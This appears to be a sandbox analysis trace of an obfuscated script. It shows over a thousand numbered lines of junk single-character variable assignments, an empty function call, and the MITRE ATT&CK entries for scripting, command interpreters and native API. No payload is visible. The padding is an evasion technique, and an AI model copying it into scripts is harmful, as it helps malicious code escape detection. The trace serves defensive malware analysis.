399	krudb = "r";
400	krudb = "I";
401	krudb = "i";
402	krudb = "c";
403	krudb = "l";
404	krudb = "B";
405	krudb = "b";
406	krudb = "y";
407	krudb = "n";
408	krudb = "a";
409	krudb = "c";
410	krudb = "M";
411	krudb = "C";
412	krudb = "X";
413	krudb = "k";
414	krudb = "U";
415	krudb = "z";
416	krudb = "i";
417	krudb = "N";
418	krudb = "t";
419	krudb = "H";
420	krudb = "A";
421	krudb = "X";
422	krudb = "D";
423	krudb = "M";
424	krudb = "6";
425	awrrn = "A";
426	awrrn = "s";
427	awrrn = "K";
428	awrrn = "o";
429	awrrn = "f";
430	awrrn = "v";
431	awrrn = "w";
432	awrrn = "g";
433	awrrn = "d";
434	awrrn = "R";
435	awrrn = "i";
436	awrrn = "d";
437	awrrn = "E";
438	awrrn = "d";
439	awrrn = "A";
440	awrrn = "-";
441	tlmazxtjp = "G";
442	tlmazxtjp = "B";
443	tlmazxtjp = "N";
444	tlmazxtjp = "E";
445	tlmazxtjp = "C";
446	tlmazxtjp = "Q";
447	tlmazxtjp = "V";
448	tlmazxtjp = "n";
449	tlmazxtjp = "A";
450	tlmazxtjp = "H";
451	tlmazxtjp = "a";
452	tlmazxtjp = "B";
453	tlmazxtjp = "r";
454	tlmazxtjp = "I";
455	tlmazxtjp = "q";
456	tlmazxtjp = "k";
457	tlmazxtjp = "F";
458	tlmazxtjp = "Q";
459	tlmazxtjp = "W";
460	tlmazxtjp = "h";
461	tlmazxtjp = "D";
462	tlmazxtjp = "Z";
463	tlmazxtjp = "V";
464	tlmazxtjp = "K";
465	emfwrmgo = "G";
466	emfwrmgo = "g";
467	emfwrmgo = "J";
468	emfwrmgo = "Y";
469	emfwrmgo = "c";
470	emfwrmgo = "Y";
471	emfwrmgo = "Y";
472	emfwrmgo = "G";
473	emfwrmgo = "J";
474	emfwrmgo = "c";
475	emfwrmgo = "p";
476	emfwrmgo = "H";
477	emfwrmgo = "m";
478	emfwrmgo = "m";
479	emfwrmgo = "X";
480	emfwrmgo = "U";
481	emfwrmgo = "T";
482	emfwrmgo = "J";
483	emfwrmgo = "O";
484	emfwrmgo = "H";
485	emfwrmgo = "g";
486	emfwrmgo = "L";
487	emfwrmgo = "U";
488	emfwrmgo = "O";
489	emfwrmgo = "b";
490	emfwrmgo = "R";
491	emfwrmgo = "o";
492	emfwrmgo = "J";
493	emfwrmgo = "T";
494	emfwrmgo = "Z";
495	emfwrmgo = "E";
496	emfwrmgo = "5";
497	enbesulup = "g";
498	enbesulup = "N";
499	enbesulup = "d";
500	enbesulup = "E";
501	enbesulup = "m";
502	enbesulup = "e";
503	enbesulup = "B";
504	enbesulup = "w";
505	enbesulup = "d";
506	enbesulup = "2";
507	mmsfw = "D";
508	mmsfw = "k";
509	mmsfw = "X";
510	mmsfw = "p";
511	mmsfw = "X";
512	mmsfw = "L";
513	mmsfw = "x";
514	mmsfw = "j";
515	mmsfw = "h";
516	mmsfw = "d";
517	mmsfw = "N";
518	mmsfw = "H";
519	mmsfw = "o";
520	mmsfw = "L";
521	mmsfw = "B";
522	mmsfw = "f";
523	mmsfw = "S";
524	mmsfw = "l";
525	mmsfw = "I";
526	mmsfw = "e";
527	mmsfw = "p";
528	mmsfw = "u";
529	mmsfw = "H";
530	mmsfw = "G";
531	mmsfw = "q";
532	mmsfw = "O";
533	mmsfw = "V";
534	mmsfw = "i";
535	mmsfw = "H";
536	mmsfw = "J";
537	mmsfw = "Z";
538	mmsfw = "H";
539	cpueajrv = "k";
540	cpueajrv = "F";
541	cpueajrv = "S";
542	cpueajrv = "M";
543	cpueajrv = "t";
544	cpueajrv = "u";
545	cpueajrv = "t";
546	cpueajrv = "s";
547	cpueajrv = "D";
548	cpueajrv = "Z";
549	cpueajrv = "W";
550	ehfxkceu = "A";
551	ehfxkceu = "U";
552	ehfxkceu = "t";
553	ehfxkceu = "r";
554	qtsaqmxvj = "a";
555	qtsaqmxvj = "r";
556	qtsaqmxvj = "w";
557	qtsaqmxvj = "H";
558	qtsaqmxvj = "F";
559	oydjlaoi = "h";
560	oydjlaoi = "P";
561	oydjlaoi = "v";
562	oydjlaoi = "t";
563	oydjlaoi = "M";
564	oydjlaoi = "r";
565	oydjlaoi = "n";
566	oydjlaoi = "p";
567	oydjlaoi = "v";
568	oydjlaoi = "k";
569	oydjlaoi = "g";
570	oydjlaoi = "n";
571	oydjlaoi = "i";
572	oydjlaoi = "i";
573	oydjlaoi = "L";
574	oydjlaoi = "z";
575	oydjlaoi = "U";
576	oydjlaoi = "m";
577	oydjlaoi = "g";
578	oydjlaoi = "d";
579	oydjlaoi = "E";
580	oydjlaoi = "Y";
581	oydjlaoi = "f";
582	oydjlaoi = "h";
583	oydjlaoi = "K";
584	oydjlaoi = "y";
585	oydjlaoi = "m";
586	oydjlaoi = "P";
587	oydjlaoi = "F";
588	oydjlaoi = "h";
589	oydjlaoi = "t";
590	oydjlaoi = "c";
591	oydjlaoi = "b";
592	oydjlaoi = "g";
593	oydjlaoi = "F";
594	oydjlaoi = "l";
595	oydjlaoi = "g";
596	oydjlaoi = "g";
597	oydjlaoi = "D";
598	oydjlaoi = "l";
599	oydjlaoi = "e";
600	oydjlaoi = "F";
601	oydjlaoi = "t";
602	oydjlaoi = "m";
603	oydjlaoi = "S";
604	axdqwn = "w";
605	axdqwn = "c";
606	axdqwn = "E";
607	axdqwn = "B";
608	axdqwn = "S";
609	axdqwn = "R";
610	axdqwn = "x";
611	axdqwn = "C";
612	axdqwn = "J";
613	axdqwn = "Q";
614	axdqwn = "K";
615	axdqwn = "m";
616	axdqwn = "A";
617	axdqwn = "i";
618	axdqwn = "n";
619	axdqwn = "T";
620	axdqwn = "i";
621	axdqwn = "w";
622	axdqwn = "T";
623	axdqwn = "v";
624	axdqwn = "Y";
625	axdqwn = "Z";
626	axdqwn = "d";
627	axdqwn = "d";
628	axdqwn = "W";
629	axdqwn = "o";
630	axdqwn = "V";
631	axdqwn = "N";
632	axdqwn = "C";
633	axdqwn = "R";
634	axdqwn = "q";
635	lfgazrtm = "I";
636	lfgazrtm = "Z";
637	lfgazrtm = "y";
638	lfgazrtm = "B";
639	lfgazrtm = "T";
640	lfgazrtm = "i";
641	lfgazrtm = "a";
642	lfgazrtm = "b";
643	lfgazrtm = "m";
644	lfgazrtm = "t";
645	lfgazrtm = "B";
646	lfgazrtm = "E";
647	lfgazrtm = "e";
648	lfgazrtm = "l";
649	lfgazrtm = "Q";
650	lfgazrtm = "t";
651	lfgazrtm = "R";
652	lfgazrtm = "S";
653	lfgazrtm = "Y";
654	lfgazrtm = "e";
655	lfgazrtm = "v";
656	lfgazrtm = "k";
657	lfgazrtm = "Y";
658	lfgazrtm = "S";
659	lfgazrtm = "R";
660	hyhyml = "O";
661	hyhyml = "R";
662	hyhyml = "Z";
663	hyhyml = "t";
664	hyhyml = "c";
665	hyhyml = "J";
666	hyhyml = "w";
667	hyhyml = "j";
668	hyhyml = "b";
669	hyhyml = "Y";
670	hyhyml = "z";
671	hyhyml = "T";
672	hyhyml = "q";
673	hyhyml = "u";
674	hyhyml = "C";
675	hyhyml = "b";
676	hyhyml = "E";
677	hyhyml = "H";
678	hyhyml = "R";
679	hyhyml = "m";
680	hyhyml = "e";
681	hyhyml = "q";
682	hyhyml = "b";
683	hyhyml = "a";
684	hyhyml = "k";
685	hyhyml = "P";
686	hyhyml = "t";
687	hyhyml = "T";
688	hyhyml = "c";
689	hyhyml = "V";
690	hyhyml = "B";
691	hyhyml = "l";
692	hyhyml = "I";
693	awclmrt = "A";
694	awclmrt = "N";
695	awclmrt = "S";
696	awclmrt = "A";
697	awclmrt = "w";
698	awclmrt = "f";
699	awclmrt = "A";
700	awclmrt = "B";
701	awclmrt = "I";
702	awclmrt = "y";
703	awclmrt = "H";
704	awclmrt = "H";
705	awclmrt = "H";
706	awclmrt = "X";
707	awclmrt = "T";
708	awclmrt = "I";
709	awclmrt = "a";
710	awclmrt = "o";
711	awclmrt = "q";
712	awclmrt = "s";
713	awclmrt = "R";
714	awclmrt = "Y";
715	awclmrt = "v";
716	awclmrt = "l";
717	awclmrt = "k";
718	awclmrt = "B";
719	awclmrt = "q";
720	awclmrt = "F";
721	awclmrt = "B";
722	awclmrt = "C";
723	awclmrt = "k";
724	awclmrt = "B";
725	awclmrt = "Y";
726	awclmrt = "y";
727	awclmrt = "P";
728	awclmrt = "M";
729	awclmrt = "X";
730	awclmrt = "e";
731	awclmrt = "K";
732	awclmrt = "V";
733	awclmrt = "K";
734	awclmrt = "t";
735	awclmrt = "i";
736	awclmrt = "z";
737	awclmrt = "N";
738	vmffspvfq = "u";
739	vmffspvfq = "z";
740	vmffspvfq = "S";
741	vmffspvfq = "P";
742	eciik = "H";
743	eciik = "x";
744	eciik = "v";
745	eciik = "O";
746	eciik = "q";
747	eciik = "y";
748	eciik = "Z";
749	eciik = "L";
750	eciik = "p";
751	eciik = "l";
752	eciik = "D";
753	eciik = "v";
754	eciik = "v";
755	eciik = "I";
756	eciik = "g";
757	eciik = "z";
758	eciik = "O";
759	eciik = "k";
760	eciik = "c";
761	eciik = "\"";
762	upqmbpdpc = "O";
763	upqmbpdpc = "O";
764	upqmbpdpc = "p";
765	upqmbpdpc = "h";
766	upqmbpdpc = "e";
767	upqmbpdpc = "c";
768	upqmbpdpc = "u";
769	upqmbpdpc = "K";
770	upqmbpdpc = "y";
771	upqmbpdpc = "Y";
772	upqmbpdpc = "I";
773	upqmbpdpc = "J";
774	upqmbpdpc = "r";
775	upqmbpdpc = "m";
776	upqmbpdpc = "V";
777	upqmbpdpc = "V";
778	upqmbpdpc = "b";
779	upqmbpdpc = "O";
780	upqmbpdpc = "S";
781	upqmbpdpc = "i";
782	upqmbpdpc = "F";
783	upqmbpdpc = "R";
784	upqmbpdpc = "s";
785	upqmbpdpc = "n";
786	upqmbpdpc = "m";
787	upqmbpdpc = "b";
788	upqmbpdpc = "i";
789	upqmbpdpc = "V";
790	upqmbpdpc = "x";
791	ivnsa = "n";
792	ivnsa = "T";
793	ivnsa = "d";
794	ivnsa = "B";
795	ivnsa = "x";
796	ivnsa = "O";
797	ivnsa = "x";
798	ivnsa = "I";
799	ivnsa = "y";
800	ivnsa = "N";
801	ivnsa = "w";
802	ivnsa = "w";
803	ivnsa = "D";
804	ivnsa = "x";
805	ivnsa = "Q";
806	ivnsa = "Z";
807	ivnsa = "v";
808	ivnsa = "t";
809	ivnsa = "o";
810	ivnsa = "O";
811	ivnsa = "d";
812	ivnsa = "E";
813	ivnsa = "y";
814	ivnsa = "W";
815	ivnsa = "J";
816	ivnsa = "c";
817	ivnsa = "y";
818	ivnsa = "k";
819	ivnsa = "e";
820	ivnsa = "U";
821	ivnsa = "n";
822	ivnsa = "y";
823	ivnsa = "g";
824	ivnsa = "Z";
825	ivnsa = "a";
826	ivnsa = "x";
827	ivnsa = "N";
828	ivnsa = "m";
829	mjoya = "e";
830	mjoya = "e";
831	mjoya = "U";
832	mjoya = "q";
833	mjoya = "I";
834	mjoya = "i";
835	mjoya = "e";
836	mjoya = "k";
837	mjoya = "m";
838	mjoya = "H";
839	mjoya = "P";
840	mjoya = "B";
841	mjoya = "s";
842	mjoya = "x";
843	mjoya = "S";
844	mjoya = "c";
845	mjoya = "b";
846	mjoya = "y";
847	mjoya = "g";
848	mjoya = "g";
849	mjoya = "b";
850	mjoya = "P";
851	mjoya = "Y";
852	mjoya = "x";
853	mjoya = "I";
854	mjoya = "m";
855	mjoya = "O";
856	mjoya = "G";
857	mjoya = "x";
858	mjoya = "t";
859	mjoya = "S";
860	mjoya = "Z";
861	mjoya = "f";
862	mjoya = "J";
863	mjoya = "P";
864	mjoya = "r";
865	mjoya = "T";
866	mjoya = "G";
867	mjoya = "J";
868	mjoya = "E";
869	mjoya = "t";
870	oekvw = "F";
871	oekvw = "r";
872	oekvw = "W";
873	oekvw = "a";
874	oekvw = "W";
875	oekvw = "j";
876	oekvw = "E";
877	oekvw = "M";
878	oekvw = "F";
879	oekvw = "Q";
880	oekvw = "l";
881	oekvw = "R";
882	oekvw = "G";
883	oekvw = "w";
884	oekvw = "U";
885	oekvw = "G";
886	oekvw = "z";
887	oekvw = "a";
888	oekvw = "g";
889	oekvw = "L";
890	oekvw = "V";
891	oekvw = "Q";
892	oekvw = " ";
893	zekgf = "w";
894	zekgf = "v";
895	zekgf = "K";
896	zekgf = "z";
897	zekgf = "b";
898	zekgf = "q";
899	zekgf = "g";
900	zekgf = "l";
901	zekgf = "G";
902	zekgf = "p";
903	zekgf = "p";
904	zekgf = "u";
905	zekgf = "j";
906	zekgf = "p";
907	zekgf = "H";
908	zekgf = "y";
909	zekgf = "B";
910	zekgf = "V";
911	zekgf = "K";
912	zekgf = "j";
913	zekgf = "m";
914	zekgf = "w";
915	zekgf = "S";
916	zekgf = "h";
917	zekgf = "c";
918	zekgf = "v";
919	zekgf = "R";
920	zekgf = "M";
921	zekgf = "D";
922	zekgf = "a";
923	zekgf = "R";
924	zekgf = "U";
925	zekgf = "i";
926	zekgf = "o";
927	zekgf = "t";
928	zekgf = "G";
929	zekgf = "p";
930	zekgf = "G";
931	zekgf = "O";
932	zekgf = "h";
933	zekgf = "s";
934	zekgf = "b";
935	xcraq = "Z";
936	xcraq = "j";
937	xcraq = "q";
938	xcraq = "l";
939	xcraq = "h";
940	xcraq = "w";
941	xcraq = "d";
942	xcraq = "z";
943	xcraq = "V";
944	xcraq = "I";
945	xcraq = "q";
946	xcraq = "R";
947	xcraq = "i";
948	xcraq = "X";
949	xcraq = "n";
950	xcraq = "d";
951	xcraq = "h";
952	xcraq = "H";
953	xcraq = "x";
954	xcraq = "Q";
955	xcraq = "r";
956	xcraq = "Q";
957	comixe = "J";
958	comixe = "a";
959	comixe = "e";
960	comixe = "c";
961	comixe = "i";
962	comixe = "B";
963	comixe = "q";
964	comixe = "G";
965	comixe = "9";
966	igekojk = "D";
967	igekojk = "s";
968	igekojk = "U";
969	igekojk = "l";
970	igekojk = "s";
971	igekojk = "W";
972	igekojk = "V";
973	igekojk = "P";
974	igekojk = "V";
975	igekojk = "W";
976	igekojk = "C";
977	igekojk = "x";
978	igekojk = "B";
979	igekojk = "r";
980	igekojk = "v";
981	igekojk = "o";
982	igekojk = "k";
983	igekojk = "C";
984	igekojk = "C";
985	igekojk = "O";
986	igekojk = "M";
987	igekojk = "z";
988	igekojk = "H";
989	igekojk = "8";
990	eqkcnnjij = "s";
991	eqkcnnjij = "G";
992	eqkcnnjij = "z";
993	eqkcnnjij = "t";
994	eqkcnnjij = "E";
995	eqkcnnjij = "z";
996	eqkcnnjij = "m";
997	eqkcnnjij = "l";
998	eqkcnnjij = "e";
999	eqkcnnjij = "B";
1000	eqkcnnjij = "j";
1001	phhohdxuh = "v";
1002	phhohdxuh = "a";
1003	phhohdxuh = "s";
1004	phhohdxuh = "m";
1005	phhohdxuh = "E";
1006	phhohdxuh = "p";
1007	phhohdxuh = "H";
1008	phhohdxuh = "G";
1009	phhohdxuh = "l";
1010	phhohdxuh = "b";
1011	phhohdxuh = "r";
1012	phhohdxuh = "h";
1013	phhohdxuh = "S";
1014	phhohdxuh = "b";
1015	phhohdxuh = "v";
1016	phhohdxuh = "u";
1017	phhohdxuh = "I";
1018	phhohdxuh = "c";
1019	phhohdxuh = "D";
1020	phhohdxuh = "Q";
1021	phhohdxuh = "o";
1022	phhohdxuh = "u";
1023	phhohdxuh = "R";
1024	phhohdxuh = "V";
1025	phhohdxuh = "X";
1026	phhohdxuh = "J";
1027	phhohdxuh = "U";
1028	phhohdxuh = "I";
1029	phhohdxuh = "F";
1030	phhohdxuh = "w";
1031	phhohdxuh = "S";
1032	phhohdxuh = "l";
1033	phhohdxuh = "L";
1034	phhohdxuh = "w";
1035	phhohdxuh = "I";
1036	phhohdxuh = "c";
1037	phhohdxuh = "u";
1038	phhohdxuh = "M";
1039	phhohdxuh = "S";
1040	phhohdxuh = "i";
1041	phhohdxuh = "&";
1042	tnunjzb = "w";
1043	tnunjzb = "a";
1044	tnunjzb = "y";
1045	tnunjzb = "m";
1046	tnunjzb = "j";
1047	tnunjzb = "O";
1048	tnunjzb = "u";
1049	tnunjzb = "q";
1050	tnunjzb = "l";
1051	tnunjzb = "G";
1052	tnunjzb = "O";
1053	tnunjzb = "h";
1054	tnunjzb = "n";
1055	tnunjzb = "b";
1056	tnunjzb = "w";
1057	tnunjzb = "Y";
1058	xmxvhoj = "K";
1059	xmxvhoj = "D";
1060	xmxvhoj = "o";
1061	xmxvhoj = "Q";
1062	xmxvhoj = "Q";
1063	xmxvhoj = "Y";
1064	xmxvhoj = "Q";
1065	xmxvhoj = "B";
1066	xmxvhoj = "c";
1067	xmxvhoj = "R";
1068	xmxvhoj = "T";
1069	xmxvhoj = "R";
1070	xmxvhoj = "W";
1071	xmxvhoj = "j";
1072	xmxvhoj = "n";
1073	xmxvhoj = "o";
1074	xmxvhoj = "l";
1075	xmxvhoj = "g";
1076	xmxvhoj = "I";
1077	xmxvhoj = "J";
1078	xmxvhoj = "t";
1079	xmxvhoj = "j";
1080	xmxvhoj = "M";
1081	xmxvhoj = "c";
1082	xmxvhoj = "H";
1083	xmxvhoj = "y";
1084	xmxvhoj = "n";
1085	xmxvhoj = "M";
1086	xmxvhoj = "r";
1087	xmxvhoj = "Y";
1088	xmxvhoj = "t";
1089	xmxvhoj = "A";
1090	xmxvhoj = "s";
1091	xmxvhoj = "p";
1092	xmxvhoj = "g";
1093	xmxvhoj = "p";
1094	qhhgzu = "d";
1095	qhhgzu = "l";
1096	qhhgzu = "T";
1097	qhhgzu = "M";
1098	qhhgzu = "K";
1099	qhhgzu = "A";
1100	qhhgzu = "q";
1101	qhhgzu = "L";
1102	qhhgzu = "d";
1103	qhhgzu = "E";
1104	qhhgzu = "V";
1105	qhhgzu = "B";
1106	qhhgzu = "k";
1107	qhhgzu = "P";
1108	qhhgzu = "v";
1109	qhhgzu = "B";
1110	qhhgzu = "T";
1111	qhhgzu = "y";
1112	qhhgzu = "J";
1113	qhhgzu = "P";
1114	qhhgzu = "Q";
1115	qhhgzu = "g";
1116	qhhgzu = "p";
1117	qhhgzu = "W";
1118	qhhgzu = "s";
1119	qhhgzu = "d";
1120	qhhgzu = "v";
1121	qhhgzu = "i";
1122	qhhgzu = "N";
1123	qhhgzu = "T";
1124	qhhgzu = "D";
1125	qhhgzu = "o";
1126	qhhgzu = "K";
1127	qhhgzu = "D";
1128	qhhgzu = "E";
1129	tkbmn = "i";
1130	tkbmn = "w";
1131	tkbmn = "i";
1132	tkbmn = "X";
1133	tkbmn = "K";
1134	tkbmn = "G";
1135	tkbmn = "A";
1136	tkbmn = "E";
1137	tkbmn = "s";
1138	tkbmn = "v";
1139	tkbmn = "v";
1140	tkbmn = "a";
1141	tkbmn = "K";
1142	tkbmn = "B";
1143	tkbmn = "S";
1144	tkbmn = "b";
1145	tkbmn = "L";
1146	tkbmn = "R";
1147	tkbmn = "o";
1148	tkbmn = "I";
1149	tkbmn = "H";
1150	tkbmn = "c";
1151	tkbmn = "D";
1152	tkbmn = "T";
1153	xtkmdhkbr = "i";
1154	xtkmdhkbr = "i";
1155	xtkmdhkbr = "z";
1156	xtkmdhkbr = "b";
1157	xtkmdhkbr = "X";
1158	xtkmdhkbr = "M";
1159	xtkmdhkbr = "k";
1160	xtkmdhkbr = "A";
1161	xtkmdhkbr = "e";
1162	xtkmdhkbr = "z";
1163	xtkmdhkbr = "o";
1164	xtkmdhkbr = "i";
1165	xtkmdhkbr = "i";
1166	xtkmdhkbr = "T";
1167	xtkmdhkbr = "X";
1168	xtkmdhkbr = "t";
1169	xtkmdhkbr = "n";
1170	xtkmdhkbr = "j";
1171	xtkmdhkbr = "i";
1172	xtkmdhkbr = "P";
1173	xtkmdhkbr = "j";
1174	xtkmdhkbr = "O";
1175	xtkmdhkbr = "B";
1176	xtkmdhkbr = "j";
1177	xtkmdhkbr = "H";
1178	xtkmdhkbr = "V";
1179	xtkmdhkbr = "M";
1180	xtkmdhkbr = "J";
1181	xtkmdhkbr = "l";
1182	xtkmdhkbr = "s";
1183	xtkmdhkbr = "l";
1184	xtkmdhkbr = "u";
1185	xtkmdhkbr = "E";
1186	xtkmdhkbr = "x";
1187	xtkmdhkbr = "S";
1188	xtkmdhkbr = "G";
1189	xtkmdhkbr = "z";
1190	xtkmdhkbr = "Q";
1191	xtkmdhkbr = "e";
1192	xtkmdhkbr = "s";
1193	qphqmco = "S";
1194	qphqmco = "a";
1195	qphqmco = "x";
1196	qphqmco = "p";
1197	qphqmco = "B";
1198	qphqmco = "h";
1199	qphqmco = "b";
1200	qphqmco = "p";
1201	qphqmco = "n";
1202	qphqmco = "P";
1203	qphqmco = "s";
1204	qphqmco = "M";
1205	qphqmco = "k";
1206	qphqmco = "V";
1207	qphqmco = "p";
1208	qphqmco = "a";
1209	bmwtmo = "C";
1210	bmwtmo = "M";
1211	bmwtmo = "V";
1212	bmwtmo = "D";
1213	bmwtmo = "A";
1214	bmwtmo = "y";
1215	bmwtmo = "C";
1216	bmwtmo = "K";
1217	bmwtmo = "j";
1218	bmwtmo = "q";
1219	bmwtmo = "r";
1220	bmwtmo = "O";
1221	bmwtmo = "t";
1222	bmwtmo = "J";
1223	bmwtmo = "Q";
1224	bmwtmo = "Y";
1225	bmwtmo = "F";
1226	bmwtmo = "z";
1227	bmwtmo = "V";
1228	bmwtmo = "f";
1229	bmwtmo = ":";
1230	cfpqhsj = "q";
1231	cfpqhsj = "v";
1232	cfpqhsj = "c";
1233	cfpqhsj = "b";
1234	cfpqhsj = "f";
1235	cfpqhsj = "c";
1236	cfpqhsj = "j";
1237	cfpqhsj = "r";
1238	cfpqhsj = "O";
1239	cfpqhsj = "F";
1240	cfpqhsj = "D";
1241	cfpqhsj = "m";
1242	cfpqhsj = "p";
1243	cfpqhsj = "n";
1244	cfpqhsj = "Q";
1245	cfpqhsj = "O";
1246	cfpqhsj = "f";
1247	cfpqhsj = "z";
1248	cfpqhsj = "x";
1249	cfpqhsj = "p";
1250	cfpqhsj = "x";
1251	cfpqhsj = "E";
1252	cfpqhsj = "P";
1253	cfpqhsj = "B";
1254	cfpqhsj = "V";
1255	cfpqhsj = "P";
1256	cfpqhsj = "M";
1257	cfpqhsj = "r";
1258	cfpqhsj = "W";
1259	cfpqhsj = "Z";
1260	cfpqhsj = "e";
1261	cfpqhsj = "i";
1262	pkazwm = "O";
1263	pkazwm = "o";
1264	pkazwm = "d";
1265	pkazwm = "S";
1266	pkazwm = "r";
1267	pkazwm = "O";
1268	pkazwm = "n";
1269	pkazwm = "r";
1270	pkazwm = "r";
1271	pkazwm = "v";
1272	pkazwm = "a";
1273	pkazwm = "A";
1274	pkazwm = "I";
1275	pkazwm = "i";
1276	pkazwm = "L";
1277	pkazwm = "u";
1278	pkazwm = "k";
1279	pkazwm = "l";
1280	pkazwm = "Z";
1281	pkazwm = "f";
1282	gowerfp = "r";
1283	gowerfp = "s";
1284	gowerfp = "R";
1285	gowerfp = "t";
1286	gowerfp = "u";
1287	gowerfp = "z";
1288	gowerfp = "D";
1289	gowerfp = "B";
1290	gowerfp = "R";
1291	gowerfp = "u";
1292	gowerfp = "E";
1293	gowerfp = "H";
1294	gowerfp = "D";
1295	gowerfp = "O";
1296	gowerfp = "Q";
1297	gowerfp = "Y";
1298	gowerfp = "w";
1299	gowerfp = "h";
1300	gowerfp = "W";
1301	gowerfp = "U";
1302	gowerfp = "Q";
1303	gowerfp = "m";
1304	gowerfp = "e";
1305	gowerfp = "A";
1306	gowerfp = "O";
1307	gowerfp = "C";
1308	gowerfp = "Z";
1309	gowerfp = ".";
1310	ctasyygdj = "B";
1311	ctasyygdj = "o";
1312	bdihwr = "V";
1313	bdihwr = "f";
1314	bdihwr = "H";
1315	bdihwr = "r";
1316	bdihwr = "v";
1317	bdihwr = "K";
1318	bdihwr = "M";
1319	bdihwr = "w";
1320	bdihwr = "Z";
1321	bdihwr = "g";
1322	bdihwr = "N";
1323	bdihwr = "c";
1324	bdihwr = "e";
1325	bdihwr = "Y";
1326	bdihwr = "O";
1327	bdihwr = "n";
1328	bdihwr = "M";
1329	bdihwr = "s";
1330	bdihwr = "n";
1331	bdihwr = "E";
1332	bdihwr = "s";
1333	bdihwr = "e";
1334	bdihwr = "a";
1335	bdihwr = "p";
1336	bdihwr = "S";
1337	bdihwr = "W";
1338	bdihwr = "y";
1339	bdihwr = "R";
1340	bdihwr = "X";
1341	bdihwr = "Q";
1342	bdihwr = "e";
1343	bdihwr = "t";
1344	bdihwr = "0";
1345	slgewlrvj = "k";
1346	slgewlrvj = "z";
1347	slgewlrvj = "p";
1348	slgewlrvj = "W";
1349	slgewlrvj = "d";
1350	slgewlrvj = "D";
1351	slgewlrvj = "g";
1352	slgewlrvj = "B";
1353	slgewlrvj = "o";
1354	slgewlrvj = "m";
1355	slgewlrvj = "n";
1356	slgewlrvj = "i";
1357	slgewlrvj = "t";
1358	slgewlrvj = "x";
1359	slgewlrvj = "l";
1360	slgewlrvj = "h";
1361	slgewlrvj = "M";
1362	slgewlrvj = "w";
1363	slgewlrvj = "c";
1364	slgewlrvj = "i";
1365	slgewlrvj = "z";
1366	slgewlrvj = "D";
1367	slgewlrvj = "D";
1368	slgewlrvj = "A";
1369	slgewlrvj = "w";
1370	slgewlrvj = "L";
1371	slgewlrvj = "E";
1372	slgewlrvj = "p";
1373	slgewlrvj = "k";
1374	slgewlrvj = "v";
1375	slgewlrvj = "C";
1376	slgewlrvj = "C";
1377	slgewlrvj = "a";
1378	slgewlrvj = "o";
1379	slgewlrvj = "h";
1380	bhkzu = "H";
1381	bhkzu = "e";
1382	bhkzu = "V";
1383	bhkzu = "p";
1384	bhkzu = "z";
1385	bhkzu = "v";
1386	bhkzu = "R";
1387	bhkzu = "C";
1388	bhkzu = "t";
1389	bhkzu = "7";
1390	rbbbqn = "Q";
1391	rbbbqn = "L";
1392	rbbbqn = "P";
1393	rbbbqn = "e";
1394	rbbbqn = "i";
1395	rbbbqn = "j";
1396	rbbbqn = "z";
1397	rbbbqn = "U";
1398	rbbbqn = "e";
1399	rbbbqn = "P";
1400	rbbbqn = "J";
1401	rbbbqn = "M";
1402	rbbbqn = "X";
1403	rbbbqn = "y";
1404	rbbbqn = "d";
1405	rbbbqn = "@";
1406	aucfr = "X";
1407	aucfr = "r";
1408	aucfr = "b";
1409	aucfr = "l";
1410	aucfr = "D";
1411	aucfr = "u";
1412	aucfr = "u";
1413	aucfr = "k";
1414	aucfr = "r";
1415	aucfr = "I";
1416	aucfr = "N";
1417	aucfr = "o";
1418	aucfr = "a";
1419	aucfr = "X";
1420	aucfr = "D";
1421	aucfr = "M";
1422	aucfr = "y";
1423	aucfr = "W";
1424	aucfr = "R";
1425	aucfr = "A";
1426	aucfr = "y";
1427	aucfr = "L";
1428	aucfr = "4";
1429	lnjih = "r";
1430	lnjih = "o";
1431	lnjih = "j";
1432	lnjih = "L";
1433	lnjih = "F";
1434	lnjih = "u";
1435	lnjih = "l";
1436	lnjih = "U";
1437	lnjih = "C";
1438	lnjih = "r";
1439	lnjih = "D";
1440	lnjih = "W";
1441	lnjih = "p";
1442	lnjih = "q";
1443	lnjih = "l";
1444	qqwxb = "N";
1445	qqwxb = "J";
1446	qqwxb = "a";
1447	qqwxb = "l";
1448	qqwxb = "O";
1449	qqwxb = "F";
1450	qqwxb = "H";
1451	qqwxb = "a";
1452	qqwxb = "t";
1453	qqwxb = "y";
1454	qqwxb = "W";
1455	qqwxb = "h";
1456	qqwxb = "N";
1457	qqwxb = "e";
1458	qqwxb = "w";
1459	qqwxb = "w";
1460	qqwxb = "W";
1461	qqwxb = "q";
1462	qqwxb = "h";
1463	qqwxb = "e";
1464	qqwxb = "E";
1465	qqwxb = "J";
1466	qqwxb = "B";
1467	qqwxb = "a";
1468	qqwxb = "F";
1469	qqwxb = "R";
1470	qqwxb = "q";
1471	qqwxb = "Q";
1472	qqwxb = "M";
1473	qqwxb = "T";
1474	qqwxb = "j";
1475	qqwxb = "t";
1476	qqwxb = "B";
1477	qqwxb = "X";
1478	qqwxb = "H";
1479	qqwxb = "k";
1480	qqwxb = "w";
1481	qqwxb = "Q";
1482	qqwxb = "y";
1483	qqwxb = "m";
1484	qqwxb = "R";
1485	qqwxb = "y";
1486	qqwxb = "s";
1487	qqwxb = "e";
1488	mlalqpc ( );	mlalqpc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

